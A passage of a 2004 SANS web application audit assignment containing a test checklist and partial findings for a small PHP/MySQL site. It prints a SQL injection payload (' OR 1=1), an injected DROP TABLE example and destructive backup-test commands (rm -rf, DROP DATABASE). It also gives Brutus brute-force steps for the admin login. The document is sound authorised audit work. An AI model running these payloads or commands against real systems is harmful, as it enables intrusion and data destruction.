Guide to Building Secure Web Applications and Web Serv- ices, chapter 7. Risk: This test is against vulnerability number ten in section 1.2.3 of this docu- ment. The exposure is considered to be medium; since this application was de- veloped by a novice web developer, some basic mistakes such as weak session management code may have been made. The severity of impact is fairly high, as session hijacking could allow an attacker to impersonate a legitimate adminis- trator of the site, giving them full access to read, change, or delete all content in the database. The net risk is therefore medium-high (3.5). Testing Procedure/Compliance Criteria: Log into the web site. After logging in, view the stored cookies in your web browser for the site. In Mozilla, this can be done by going to Edit > Preferences > Privacy & Security > Cookies, and then clicking on “Manage Stored Cookies.” Alternatively, an intercepting proxy tool such as Achilles or WebScarab will also show cookies that have passed through it. If the cookie name is “PHPSESSID” and the cookie value is a 32-byte hex string, then the site is using PHP’s build-in session management functions, which use MD5 hashes and are not vulnerable to simple client-side manipulation. The site would therefore pass this test. If the site is not using PHP’s session functions, check for any fields in the cookie which appear to be changeable. These vulner- abilities include setting the user’s ID number in the cookie, as that could be © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 18 changed to be any user ID. Another possibility is storing the user’s access level in the cookie. Any weak use of cookies for session management such as these examples are a strong indication that session hijacking is a possibility, and the site would fail this test. If there are no such fields, the site passes this test. Test nature: Objective Evidence: To be determined Findings: To be determined 2.3 SQL Injection Checklist Item Number: 003 Checklist Item Name: SQL Injection Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, pages 36-39. “SQL Injection Attacks — Are You Safe?” by Mitchell Harper. Risk: This test addresses vulnerability number five in section 1.2.3 of this docu- ment. The degree of exposure is considered to be medium, since there are a large number of SQL queries in the application, many of which use data provided by the user, and the application developer was a novice at web application de- velopment. The severity of loss is fairly high, as a successful SQL injection at- tack would allow the attacker to run any SQL queries he/she wished against the site’s database. This would let them read, change, or delete any or all of the site’s data, including user e-mail addresses. The net risk is therefore medium-high (3.5). Testing Procedure/Compliance Criteria: To fully test this item, we will need to examine the source code to the site. First, search the code for all database que- ries. In a PHP and MySQL application, these usually performed using the mysql_query function, and so the auditor should search for that. However, the site may have written its own query function that performs other work before calling the built-in query function. Because of this, the code must be examined first in order to find out what function or functions are used for database requests. Once this has been determined, the auditor can then search the code for all in- stances of these requests. Next, for each SQL query found, look at all the variables that are used within the query. For each of those variables, check back through the code to see where © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 19 they are assigned. If any of them are taken from any item sent by the browser— appended to the URL in a GET request, in a POST request, or from a cookie— then there should be code in the application to sanitize the data. The PHP “stripslashes” function is one possible way to sanitize the data and make it safe to use in a SQL query. If all user data is sanitized, then the application passes this test. If not all user input is being validated and/or sanitized, then one needs to check the setting of “magic_quotes_gpc” on the server. This setting forces PHP to automatically escape quotes and null characters in all user input, leaving it safe to use in a SQL query. The “gpc” section of the function name refers to the three types of browser-supplied input that are sanitized: GET requests, POST re- quests, and cookies. To check if this is enabled, create a new file on the web site called phpinfo.php. The contents of the file should be the following: <?php phpinfo(); ?> View this file in a web browser by going to http://web.site.address/phpinfo.php. In the “PHP Core” subsection of the “Configuration” section of the page, there will be a line labeled “magic_quotes_gpc.” Ensure that it is listed as “on”. If magic_quotes_gpc is enabled, then the application passes this test. If magic_quotes_gpc is not enabled, and not all user input is sanitized by the ap- plication code, then this test is failed. Additional testing can be performed to confirm that unsafe variables are exploit- able, or that the code successfully sanitizes the user’s input. It would be impos- sible to detail how to exploit potential SQL injection vulnerabilities in this docu- ment, as the exact method needs to be based on the specific details of the page in question. For full details on exploiting a potential SQL injection vulnerability, refer to one of the detailed guides to it listed in the references section (section 1.3.1 of this document). Test nature: Objective Evidence: To be determined Findings: To be determined 2.4 Test for Adequate Safeguards Against Bandwidth Theft Checklist Item Number: 004 Checklist Item Name: Test for Adequate Safeguards Against Bandwidth Theft © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 20 Reference: http://wordworx.com and http://www.thesitewizard.com/archive/bandwidththeft.shtml Risk: This test addresses vulnerability number 17 in section 1.2.3 of this docu- ment. The degree of exposure is considered to be medium, since on the one hand this web site is very small at the moment, and therefore the likelihood of anyone using images hosted on it is low. In addition, the vast majority of the im- ages hosted on the site are available on many other web sites. On the other hand, some images stored on the site are unique to the site. In addition, band- width theft is trivial to perform, and is often done accidentally by someone who did not fully understand the consequences. As a result, the likelihood is rated as medium. The severity of this vulnerability is fairly low. The worst case scenario is that sufficient bandwidth is consumed through linking directly to the site’s im- ages that the web hosting company disables the site until they are paid for the bandwidth used. Given the size of images on the site, which average 5 kilobytes each, it is unlikely for this to be prohibitively expensive. Therefore, the main con- sequence is a denial of service against the web site, as the web hosting com- pany’s current procedures would take the site offline until they have received payment for the additional bandwidth. The net risk is therefore medium-low (2.5). Testing Procedure/Compliance Criteria: The easiest way to test this element is to create a web page which links to an image hosted on the web site that is being tested. However, this file must be hosted on a web server for the test to be accurate. My initial testing plan was to create an HTML file on the auditor’s com- puter that referenced an image on the web site. However, preliminary testing showed that the web browser did not pass a referrer field to the web site, mean- ing that safeguards against bandwidth theft would not be effective. Therefore, as an alternative to creating this test file, I recommend performing the request manually. To do so, telnet to the web site on port 80. Send the following lines: GET /image.gif HTTP/1.1 Host: web.site.name Referer: www.someothersite.com “image.gif” should be replaced with the location of an actual image on AuditApp. Also, note that the HTTP specification calls for “referer” to be misspelled, as shown in the example. If there are images stored in more than one directory, this test should be performed several times, testing at least one image in each direc- tory. The reason for this is that some of the methods used to protect against di- rect image linking can be applied on a per-directory basis. As a result, some di- rectories on the site could be protected while others are not. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 21 If the web server returns an image from any tested directory—it will appear as lots of garbage in the telnet window, being a binary file—the site fails this test. If an error page or no response is received, the site passes. Test nature: Objective Evidence: To be determined Findings: To be determined 2.5 Scan for Sample Files or Scripts Checklist Item Number: 005 Checklist Item Name: Scan for Sample Files or Scripts Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, page 50, “System Configuration” section. http://www.uniras.gov.uk/l1/l2/l3/tech_reports/niscctechnicalnote0603.htm — Na- tional Infrastructure Security Co-ordination Centre (NISCC) Technical Note 06/03: Guidance on Securing Web Sites Risk: This test addresses vulnerability number 12 in section 1.2.3 of this docu- ment. The exposure for this vulnerability is rated as medium. While most ad- ministrators and webmasters these days know that leaving samples files and scripts on the server is a security risk, there are still some who do. In addition, there are a large number of automated tools that are constantly scanning for these scripts in an attempt to exploit them. Because of this, there is a high risk of compromise if any of these files remain installed on a web server. The severity of this vulnerability is rated as medium-high. A successful exploit against one of these scripts has the potential to give an attacker full access to the web site. The net risk is therefore medium-high (3.5). Testing Procedure/Compliance Criteria: Use Nessus to scan the site. First, from a command prompt, update the collection of installed Nessus plug-ins to the most recent set by typing nessus-update-plugins. Next, launch Nessus and log in. In the “Plugins” tab, select only the “CGI abuses” category of plug-ins. While the other categories contain very useful scans, they are outside of the scope of this audit. For an audit with a wider scope, one would most likely want to enable almost all of these; the “dangerous plug-ins” option should obviously be used with extreme caution if production servers are being scanned, as these tests have the capacity to crash a server if they are successful. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 22 Next, go to the “Target Selection” tab, and enter the IP address of the web site. Then, click the “Start the Scan” button to begin testing. One should always save a copy of the scan results when the scan is completed, for inclusion in the audit report. Analyze these results, keeping an eye out for items that Nessus categorized as a security hole, with a severity of high, serious, or medium severity. Based on my personal experience, Nessus—as with many vulnerability scanners—often gives false positives. If possible, verify any findings that Nessus gives. For example, if Nessus reports a security vulnerability be- cause the site is running a version of the Foobar application older than version 1.5, query that application directly to determine what version it is. If there is any doubt or confusion as to whether a finding is a false positive or not, one should attempt to find further information on exploiting the vulnerability. In most cases, web server vulnerabilities such as these can be triggered simply by entering a specially crafted URL into any web browser. Check online for further details for the specific vulnerability in question. If Nessus finds any high, serious, or medium severity issues that are not false positives, the site fails this test. Low severity issues should be brought to the attention of the site owner, but do not cause the site to fail this test on their own. If Nessus gives only warnings, no findings at all, or if all the higher-severity find- ings were determined to be false positive, the site passes this test. Test nature: Objective Evidence: To be determined © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 23 Findings: To be determined 2.6 Test Backup Procedures Checklist Item Number: 006 Checklist Item Name: Test Backup Procedures Reference: After searching web pages and archived Usenet posts, I was unable to find any worthwhile references on backup strategies and recommendations specifically for web sites. These will have to be based on my personal experi- ences. For backups of the MySQL database, there is far more information available. The most direct reference is in the MySQL manual itself: http://dev.mysql.com/doc/mysql/en/mysqldump.html is the documentation for the mysqldump program, which is designed for automated extraction of all data from a MySQL database. Risk: This test addresses many of the vulnerabilities listed in section 1.2.3 of this document. For example, any vulnerability in which an attacker could compro- mise the data stored in the database or modify the pages on the site would cause the site owner to respond by attempting to restore from backups. In those cases, having a good backup would allow easy recovery. This test is most important for vulnerability number three, however, in which the web hosting company suffers a catastrophic loss. In most cases the web hosting company would have their own backups, which could be used in the case of a web page defacement, for exam- ple. The site owner’s backups would simply be another option. However, the site owner should have at least one local backup of all his PHP code, HTML files, and database contents, in the event that the web hosting company loses all backups, for whatever reason. The likelihood of exposure to this vulnerability is considered low. As discussed above, these are secondary backups, which supplement the backups being per- formed by the hosting company. However, the severity of impact is high. If the web host does lose all backups and current data, the web site would be severely crippled. All code would need to be re-written, all users would need to re- register, and all data in the database would need to be re-entered. Because so much of the content is supplied by visitors to the site, it would be impossible to exactly recreate it all. The net risk is therefore medium (3). Testing Procedure/Compliance Criteria: There are two separate components of this test. First, interview the site owner, and find out what the backup proce © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 24 dure is, if any. Ensure that there are frequent backups performed. The fre- quency of backups is a subjective area, and depends on the needs of the site and the site owner. Since the web host already performs their own regular back- ups, the site owner’s backups are an extra level of protection. Considering the size of this site, weekly backups may be sufficient. Anything less often would be difficult to justify, and more often—for example, daily or every other day—would be preferred. The backups must consist of all HTML, PHP, and CSS files used in the web site, as well as the database contents. If the backup is incomplete in any way, the site fails this test. If the auditor’s assessment is that the backup is complete and performed regularly enough for the needs of the site, it passes this initial portion of the test. Following this initial assessment, the auditor should actually test the backup, with the site owner’s cooperation. Have the owner remove all files from the develop- ment/staging server, and delete the database (for example, rm –rf /var/www/site to delete the files, and DROP DATABASE database-name from within the MySQL console to delete the database.) Verify that the site is no longer available by attempting to view the site hosted on this development server via a web browser. Then have the owner restore both the files and the database contents. Verify that the site has been restored by again attempting to view the site via a web browser. Verify that the content in the database and the version of the code are as recent as the backup date indicates they should be. If the site was successfully restored, it passes this portion of the test. If the data is out of date, or cannot be fully restored from backups, the site fails this portion of the test. If both of these components—the subjective assessment of the backup strategy and the test of the backups—are passed, the site passes this test. If either or both fail, the site fails this test. In most audits, documented backup and recovery procedures would be exam- ined. However, as this site is a one-person operation, it is a special case. I do not believe that documented backup and recovery procedures are a requirement in this situation. Test nature: Both objective and subjective. The first phase of the test is partially subjective, as the auditor has to determine what a reasonable backup strategy is for this application. The second phase of the test is objective. Evidence: To be determined Findings: To be determined 2.7 Unsafe Hidden Form Elements Checklist Item Number: 007 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 25 Checklist Item Name: Unsafe Hidden Form Elements Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, pages 46-47. Risk: This test addresses vulnerability number 13 in section 1.2.3 of this docu- ment. The exposure of this vulnerability is rated as medium-high. This is a common mistake in programming web applications, and even though it is well- known, many sites are still making this mistake today. And because it is a well- known issue, it is a vulnerability that many people can easily exploit. The sever- ity of impact is also rated as medium-high. In the worst case scenario, the appli- cation may allow an attacker to give themselves administrative rights to the web application, allowing them to read, change, or delete any or all items in the data- base. The net risk of this vulnerability is therefore serious (4). Testing Procedure/Compliance Criteria: In this test, we will use wget21 to copy all files from the web site so we can search them. To mirror the site with wget, use the following command: wget –m http://web.site.address This will copy all pages from the site to the current directory, preserving as many of the original attributes as possible. Next, we need to search the resulting pages for any hidden form fields. These fields will all say type=”hidden” in the HTML form input options. The quotation marks are technically required, but browsers will accept the option without the quotation marks, so we are not guar- anteed that they will be there. Therefore, the auditor needs to search for both type=hidden and type=”hidden” in all pages retrieved by wget. The method used for searching all files depends on the operating system in use. On Unix-like operating systems (e.g., Linux, FreeBSD), use the grep tool. This tool is also available for Windows for those auditors who wish to use it. Alterna- tively, the built-in “find file” functionality in Windows will allow you to search the contents of all files in that directory for the string. The exact method depends on the version of Windows in use, but is generally along the lines of Start > Find > Files and Folders to bring up the find file dialog box. The option to search in files may be on that screen, or may be in other options; again, it depends on the ver- sion of Windows in use. 21 http://www.gnu.org/software/wget/wget.html © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 26 If any web pages are found containing hidden form elements, additional assess- ment is required. If the hidden form elements are simply items that were entered by the user in another form, or otherwise supplied by the client, then changing them does not give the attacker any advantage. However, if the hidden elements contain any field that the user should not be able to change, the site may be vul- nerable. Whether it is or not depends on if the application does further validation of these inputs or not, and if the hidden elements control any valuable variables (for example, user ID, or access level.) To test possibly vulnerable forms further, the “Show Hiddens” bookmarklet22 is recommended. By making this bookmarklet available in your web browser, one click on it exposes all hidden fields to you on the web page as user-editable fields. The auditor should attempt to change the values in these elements and discover if any changes cause insecure behavior. If so, the site fails this test. If there are hidden elements that cannot be determined to be vulnerable, but which should not be user-editable, the site may pass this test, but the site owner should receive a warning about using such hidden elements. If there are hidden elements, but they only contain data that was supplied by the user or which the user should be able to edit, the site passes this test. The web developer may wish to consider storing such data in session variables rather than hidden form elements, however. If there are no hidden elements found in form fields, the web site passes this test. Test nature: Objective Evidence: To be determined Findings: To be determined 2.8 Ensure Directory Browsing Settings Are Correct Checklist Item Number: 008 Checklist Item Name: Ensure Directory Browsing Settings Are Correct Reference: I could not find any direct references to the security implications of this configuration setting, so this is based on personal experience. However, one useful reference on the actual configuration for this item in Apache is the docu- mentation for the autoindex module in Apache: 22 http://www.squarefree.com/bookmarklets/forms.html#show_hiddens © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 27 http://httpd.apache.org/docs/mod/mod_autoindex.html Risk: This test addresses vulnerability number 18 in section 1.2.3 of this docu- ment. This vulnerability can allow a site visitor to explore directory contents in cases where the default index page (e.g., index.html or index.php) is not avail- able. If auto-indexing is enabled when a user requests a directory with no default index page, Apache will automatically generate a listing of all files in that direc- tory. This can expose unwanted files and information to the user. The degree of exposure is medium-low; most web hosting companies disable automatic index- ing by default because of the security issues. The severity is medium. The risk is therefore medium-low (2.5). Testing Procedure/Compliance Criteria: Find all directory paths used on the site. This could be based on the directories that wget created during its mirror of the site in checklist item 007, but if possible it should be based on actual direc- tory listings of the web site provided by the site owner. It is likely that some paths used internally in the PHP code may be accessible from a web browser even if they are never mentioned within the HTML pages. To test each directory, simply use a web browser to go to that directory on the site. For example, if the site directory listing shows a ‘testing’ subdirectory, point the web browser to http://www.site.name/testing/ and see what is returned. If all directories give either a legitimate web page or an error page, then the site passes this test. If directory browsing is enabled for some directories, the auditor must then inter- view the site owner. It is possible that this was intentional in some instances, and the owner fully understands the risks and knows what files are revealed this way. While not a best practice from a web design point of view, this would not be a security issue if done intentionally; the security vulnerability here is due to acci- dental exposure of files. If directory browsing is enabled and the site owner has done this on purpose, the site can pass this test. However, if automatic indexing should not have been enabled, and the site owner was not aware of the files be- ing disclosed due to this setting, the site would fail this test. Test nature: Objective Evidence: To be determined Findings: To be determined 2.9 Attempt to Brute Force Administrative Account Checklist Item Number: 009 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 28 Checklist Item Name: Attempt to Brute Force Administrative Account Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, pages 19-20. Brutus: http://www.hoobie.net/brutus/ “Strong Passwords a Must For Web Apps”, ZDNet UK: http://insight.zdnet.co.uk/hardware/servers/0,39020445,2132449,00.htm Risk: This test is against vulnerability number 11 in section 1.2.3 of this docu- ment. If the username and password to an administrative account can be brute forced, then the attacker would have full access to read, change, or delete any or all entries in the database. The exposure of this vulnerability is medium. User- names of some existing accounts can be seen by the public on the web site, as they are listed with the user’s reviews on the site. This gives an attacker a start- ing point of usernames to attempt. In addition, there are many web site pass- word-guessing applications available. The severity of impact of this attack is medium-high. In the worst case scenario, if an attacker does retrieve a valid username and password for an account with administrator-level access, they could change or delete all entries in the database. The risk of therefore medium-high (3.5). Testing Procedure/Compliance Criteria: Launch Brutus (see reference section for URL). Enter the URL of the login page in the “target” field. This web application uses a form on the page login.php for logins, so set the “type” option to “HTTP (Form)”. Under “HTTP Form options”, set the method to POST. Click on “modify sequence.” On this screen, Brutus will analyze the login form to find the correct variable names for username and password. Enter the login URL into the “Tar- get form” box, and click “Learn form settings.” A new dialog box will appear. If more than one form is available on the page, the auditor will need to select the correct on from the “form name” pull-down list. In the field list, find the form field for the username, click on it, and then click on “Username” below. Do the same for the password field and button. This instructs Brutus to use those two fields. Click on the “Accept” button on that dialog box to return to Brutus’ form definition screen. Next the auditor needs to put in text that will appear on a successful login screen, which will need to be obtained from the site owner. This is required so that Bru- tus will know when it has seen a successful login. If possible, the auditor can enter text which will only appear after a successful administrator-level login. En- ter this text in the “Primary response” field, and select the “this response is posi- tive” option. Click “OK” to return to the main Brutus screen. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 29 At this point Brutus is ready to scan the site. Click on “Start” at the top of the window. Progress will be shown at the bottom of the screen. Once Brutus has finished its scan, the “Positive Authentication Results” section will show all user- names and passwords that gave a successful login. These should be verified outside of Brutus, by attempting to actually log into the web application using them. If any usernames and passwords are found by Brutus, and they are verified to work on the web application, the site fails this test. If none are found, or if they are found to be false positives, the site passes this test. In addition, if there does not appear to be any account lockout procedures after a number of incorrect login attempts, the site owner should receive a warning. Test nature: Objective Evidence: To be determined Findings: To be determined 2.10 Verify Security of any Client-Side Javascript Checklist Item Number: 010 Checklist Item Name: Verify Security of any Client-Side Javascript Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, pages 32-33. Risk: This test addresses vulnerability number 15 in section 1.2.3 of this docu- ment. Many web applications use Javascript that executes in the client’s browser as a means of providing security. For example, the Javascript could validate in- put to ensure that invalid responses are never passed to the web server, or, in the worst case, could actually check passwords. Since it is trivial to view, change, or remove these checks, they offer no real security. For example, code to check password in Javascript would require the correct password to appear in the code sent to the browser. The degree of exposure is considered to be me- dium. Many web sites have made this mistake, and it is extremely easy to ex- ploit. The severity of a successful exploit is medium-high. In the worst case scenario, poorly written Javascript controls could give an attacker administrative access to the web site. The net risk is therefore medium-high (3.5). Testing Procedure/Compliance Criteria: For this test we will once again use the mirror of the web site that we obtained with wget in test 007. In this test, the © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 30 auditor will use the same methods to search the files that was described in that testing procedure, but in this case the search is for the string <script. This will allow us to find all client-side scripting in the application. If desired, WebScarab can be used to show all files with scripting; the “scripts” column on the page summary screen will have a check box if that file uses scripting. If any client-side scripting is in use, the auditor will need to review the code in search of insecure practices. These include testing for correct passwords in Javascript, or validating user input in Javascript instead of on the server. As an example, here is a sample Javascript function that ensures that the data entered in a specific year field is greater than 1980. It looks in the form named “form”, in a field named “year”, and checks the value in it. If it is less than 1980, it displays an alert box for the user. <script language="JavaScript" type=”text/javascript”> function validateInput () { if (document.form.year.value < 1980) { document.form.year.focus(); alert("The year entered must be 1980 or later"); return false; } return true; } </script> If any such client-side scripting is found, the auditor should then see what hap- pens if it is bypassed. The easiest way to test this is to simply turn off Javascript in the web browser so that it cannot run the validation functions. If the applica- tion is poorly written and relies on having client-side scripting enabled, then the page will need to be edited, either by editing the mirrored copies on the auditor’s computer, or through a intercepting proxy such as WebScarab or Achilles. The auditor can then assess what occurs when the form is used with invalid inputs, and the protective Javascript code is no longer available. It may be that server- side processing checks all inputs again, or it may be that since the server-side code never expected to see these invalid inputs, the application break in some way that may be leveraged to gain additional access to the site. If client-side scripting is used for security, and the subsequent testing shows that the server-side scripting is not double-checking the input, the site fails this test. If client-side scripting is used, but the server appears to be double-checking the © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 31 input as an extra level of protection, the site passes, but the site owner should be warned. If no client-side scripting is being used for protection, the site passes this test. Test nature: Objective Evidence: To be determined Findings: To be determined © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 32 3 Audit Testing, Evidence, and Findings The following sections describe the testing of the checklist items listed in section 2, as well as all findings from these tests. 3.1 Check For Hidden Comments in HTML As described in section 2.1, WebScarab was used to spider the site and find all files that have HTML comments within them. 3.1.1 Evidence Below is a screenshot showing the results of the WebScarab spider of the site: As shown in the results, eight files in the application contained HTML comments. For each of these, right-clicking on the filename and selecting “View comments” displayed a window containing all comments within that file. All of these files had identical comments; below is a screenshot of one of these files: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 33 3.1.2 Findings As all comments were harmless, merely separating various sections of the page—vertical menu bars from main content—there was no further testing re- quired. RESULT: PASS 3.2 Session Hijacking Via Cookie Manipulation In this case, before beginning the test procedure given in section 2.2, I first cre- ated a new user profile in Mozilla, the web browser used for this test. This al- lowed me to start with a clean slate, so to speak; the browser had all default set- tings and not a single cookie had been set. Following this, I used the procedure described in section 2.2. 3.2.1 Evidence I logged into an existing account on the site that had no special privileges. After logging in, the following cookie was set: © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 34 3.2.2 Findings As described in the compliance criteria section in the audit checklist, this cookie shows that the site is using PHP’s built-in session management functions. PHP’s session management technique is well known, and is not vulnerable to hijacking by manipulating the cookie data. There are still session management issues to be aware of, though. For example, by default PHP stores the session data in the shared temporary directory (/tmp) on the web server. In a shared hosting envi- ronment, the web hosting company needs to ensure that other web sites on the same server do not have read access to other sites’ user session data. If these precautions are not taken, anyone webmaster using that same server could view the cookie contents of any session on any web site. As a supplemental test, I checked the security settings of these files: This screenshot shows that each session file is owned by the user associated with that web site. The permissions column shows that only the file owner is al- lowed to read or write the file. Therefore, other users are not able to view the contents of AuditApp’s session files. There is also no way to correlate the user- name shown with a web site in order to set the session cookie to the value shown in the filename. Therefore, the web host has sufficiently protected the session files. RESULT: PASS 3.3 SQL Injection The site owner gave us read access to the PHP source files that make up the site, and I “grepped” them for calls to the mysql_query function. After finding all of the SQL queries, I then analyzed their safety. 3.3.1 Evidence The very first query I saw in the code was an excellent example of unsafe coding practices, in a file called authenticate.php. It is expected to be called using a © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 35 URL such as http://web.site.name/authenticate.php?auth=authstring. The code in question is below: $auth = $_GET['auth']; $result = @mysql_query("SELECT * FROM user_auth WHERE auth='$auth'"); When the user visits the example URL given earlier (authenti- cate.php?auth=authstring), the $auth variable in this code would be set to ‘auth- string’. This variable supplied by the user is then inserted directly into a SQL query with no sanitization. As the function of this script is to ensure that the user knows the correct authentication string stored in the database, it is definitely vul- nerable to attack. If the user could set auth to be ’ OR 1=1, the SQL query would become SELECT * FROM user_auth WHERE auth='' OR 1=1 Instead of the desired result where the SQL results would be the row containing the authentication string passed from the browser, the result set would be every row in the user_auth table, since 1 is always equal to 1. This is because the user was allowed to send that single quote, closing the string that the site was trying to test, and add a new clause to the query. The code then checks to see if any results were returned from this query, and if a result was returned, the code be- lieves that the user supplied a valid authentication string. In the modified version of the query, there will always be rows returned from the query, because of the 1=1 clause. This is a classic SQL injection security hole. Because of the existence of this hole, I then created the phpinfo.php file dis- cussed in the testing procedures, and viewed the setting for magic_quotes_gpc: Because it is set to on, PHP should be automatically sanitizing all GET, POST, and cookie data sent from the browser. To verify this, I then attempted to exploit the hole found above. I entered the fol- lowing URL in the browser: http://web.site.name/authenticate.php?auth='%20OR%201=1 As spaces are not legal characters in an HTTP request, they must be replaced by the ‘%20’ string. The resulting page from the site was an error page indicating that I could not be authenticated. To test this further, the site owner and I cre- ated an alternate version of the authentication file, named authenticate2.php. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 36 This one displayed the SQL query string on the page rather passing it to the MySQL server (essentially, replacing the mysql_query function with a print-to- page function). For the purposes of this report, we also removed all site headers and graphics from the document, leaving just the SQL query on the page. After trying the URL request again against this new version of the script, the server gave the following page: As the displayed string shows, the magic_quotes_gpc option escaped the single quote at the beginning of our query. Therefore, instead of ending that string and allowing us to add an additional clause to the SQL query, MySQL would actually be testing for the existence of the string \’ OR 1=1. This therefore makes it impossible to inject unexpected SQL queries. Some MySQL users feel that they are already protected against SQL injection attacks because MySQL does not allow for multiple commands in a single func- tion call. For example, we would not have been able to change the function to SELECT * FROM user_auth WHERE auth=''; DROP TABLE users; for example. That injection attempt uses a semi-colon after closing the “auth” string to add additional SQL commands—in this case, erasing all user information. A more likely malicious attack might be to create a new account with full permis- sions to the site. However, as the example found in this audit shows, even though MySQL is automatically immune to this type of attack, there are certainly other instances where SQL injection attacks can be used. Using MySQL as the database server does not automatically protect the site from all SQL injection attacks. 3.3.2 Findings Because the magic_quotes_gpc option was enabled, AuditApp is not currently vulnerable to SQL injection attacks. However, the code itself is not very safe; I found many more examples of insecure SQL queries such as the one above. Therefore, if the site owner ever switches to a different web host, he must be ex- tremely careful that they turn magic_quotes_gpc on by default, or allow him to enable it for his site. In addition, he is also placing the security of his site in his current web host’s configuration management process. If they rebuild his server and do not set this option, his site would instantly be vulnerable to a number of SQL injection attacks. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 37 It is recommended that the code be modified to be safe regardless of this site setting. It is possible to write a short function that every PHP page calls before processing any user data that checks the site’s magic_quotes_gpc setting. If it is enabled, the function does nothing. If it is disabled, then the function escapes all dangerous characters. RESULT: PASS 3.4 Test for Adequate Safeguards Against Bandwidth Theft As described in the testing procedure in section 2.4, I sent the following requests directly to port 80 on the web server being tested: GET /go.gif HTTP/1.1 Host: website.name.com Referer: www.someothersite.com and GET images/1.jpg HTTP/1.1 Host: website.name.com Referer: www.someothersite.com 3.4.1 Evidence For both of those requests, the web server returned the image requested. To ensure that the site was seeing the correct request with the correct referrer string, I viewed the access log of the 